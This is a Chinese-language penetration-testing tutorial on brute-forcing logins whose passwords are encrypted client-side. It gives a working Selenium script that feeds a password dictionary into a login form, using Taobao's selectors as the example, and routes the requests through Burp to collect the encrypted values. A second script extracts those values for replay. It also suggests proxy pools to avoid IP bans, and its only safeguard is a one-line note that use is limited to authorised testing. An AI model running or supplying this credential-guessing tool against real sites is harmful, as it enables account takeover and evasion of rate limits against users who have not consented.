登陆爆破之0基础绕过密码加密
字数 1218 2025-08-25 22:58:47
登陆爆破之0基础绕过密码加密 - 详细教学文档
0x01 技术背景与起因
本文介绍了一种针对前端加密登录系统的爆破技术,适用于以下场景:
- 目标系统在前端对密码进行了加密处理
- 传统爆破方法因加密机制失效
- 渗透测试者JavaScript基础薄弱(仅了解alert(1)水平)
作者在实际渗透测试中遇到一个前端密码加密的OA系统,虽然找到了加密函数,但使用jsEncrypter插件时遇到问题,最终使用Selenium解决,整个过程耗时2小时。
0x02 传统方法的局限性
传统爆破方法存在的问题:
- 加密函数定位困难:并非总能轻易找到加密函数
- Selenium直接爆破的缺点:
- 单线程速度慢
- 多线程内存/CPU开销大
- HTTP资源加载缓慢影响效率
- 页面渲染缓慢
- 标签定位可能改变
- 爆破流量明显易被ban IP
0x03 创新解决方案
核心思路
利用Selenium设置请求超时,自动更换密码点击登录,将请求发送到Burp拦截,从而获取加密后的密码列表。
详细实现步骤
1. 环境准备
- 安装Python和Selenium
- 下载对应浏览器驱动(如chromedriver)
- 配置Burp Suite代理(127.0.0.1:8080)
2. Python脚本代码解析
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.common.exceptions import TimeoutException
# 配置Chrome驱动
chrome_driver = "E:\Python36\chromedriver.exe"
chromeOptions = webdriver.ChromeOptions()
chromeOptions.add_argument('--proxy-server=http://127.0.0.1:8080') # 设置Burp代理
driver = webdriver.Chrome(chrome_driver, chrome_options=chromeOptions)
driver.set_page_load_timeout(0.1) # 设置请求超时
driver.set_script_timeout(0.1)
# 确认操作
while(1):
name = input("Are you really?[Y|N]")
if (name == 'Y') or (name == 'y'):
break
# 读取密码字典
with open('E:/exploit/dictionary/fuzzDicts/1/pwd.txt','r',encoding='utf8')as f:
lines = f.readlines()
# 目标网站元素选择器配置(以淘宝为例)
usr_css_selector = '#fm-login-id'
pwd_css_selector = '#fm-login-password'
submit_css_selector = '#login-form > div.fm-btn > button'
print('start')
# 爆破循环
for i in lines[::-1]: # 对顺序
try:
driver.execute_script('''
var usr = document.querySelector(\''''+usr_css_selector+'''\');
var pwd = document.querySelector(\''''+pwd_css_selector+'''\');
var submit = document.querySelector(\''''+submit_css_selector+'''\');
usr.value = '18888888888'; # 固定用户名
pwd.value = \'''' + i.strip() +'''\'; # 遍历密码字典
submit.removeAttribute('disabled') # 移除禁用属性
submit.click(); # 触发点击
''')
except TimeoutException:
pass
print('end')
3. Burp Suite配置技巧
- 请求拦截:Burp默认拦截请求
- Socks代理技巧:设置错误主机127.0.0.直接drop请求,避免等待timeout
- 勾选"Socks proxy"并设置错误主机
- 效果等同于直接drop request
4. 加密密码提取脚本
import re
file_path = 'C:/Users/liulangmao/Desktop/bbbbbbb'
with open(file_path,'r',encoding='utf8')as f:
lines = f.readlines()
with open(file_path+'_crypto','w',encoding='utf8')as f:
for i in lines:
if 'username=18888888888&password=' in i:
crypto_pwd = i.strip().split('username=18888888888&password=')[1].split('&mem_pass=')[0]
f.write(crypto_pwd + '\n')
0x04 操作流程总结
- 打开Burp Suite
- 设置Socks代理为127.0.0.1
- 运行selenium脚本
- 确认请求包能到达Burp
- 输入Y确认
- 保存并处理request
- 获取加密后的密码列表
效率优势:从输入Y到映射出密码列表仅需几秒,无需分析加密函数。
0x05 进阶优化建议
- 代理池集成:避免因爆破流量明显被ban IP
- CSS选择器获取:使用开发者工具获取准确的元素选择器
- 异常处理增强:增加更多异常捕获和处理逻辑
- 多平台适配:针对不同登录页面调整选择器和逻辑
0x06 注意事项
- 该方法不适用于有动态key或滑块验证的系统(如淘宝的完整登录流程)
- 实际应用中需根据目标网站调整元素选择器
- 爆破行为可能违反法律,仅限授权测试使用
0x07 常见问题解答
Q:为什么不在抓取密码步骤直接爆破?
A:原文解释:直接爆破会遇到单线程速度慢、多线程资源开销大、HTTP资源加载缓慢、渲染缓慢、标签定位改变等问题。
Q:如何保存request?
A:通过Burp拦截请求后,可以从Burp的HTTP历史记录中复制保存。
Q:遇到代码运行不了怎么办?
A:检查环境配置是否正确,包括:
- Python版本
- Selenium版本
- 浏览器驱动路径
- 代理设置
- 元素选择器是否与目标页面匹配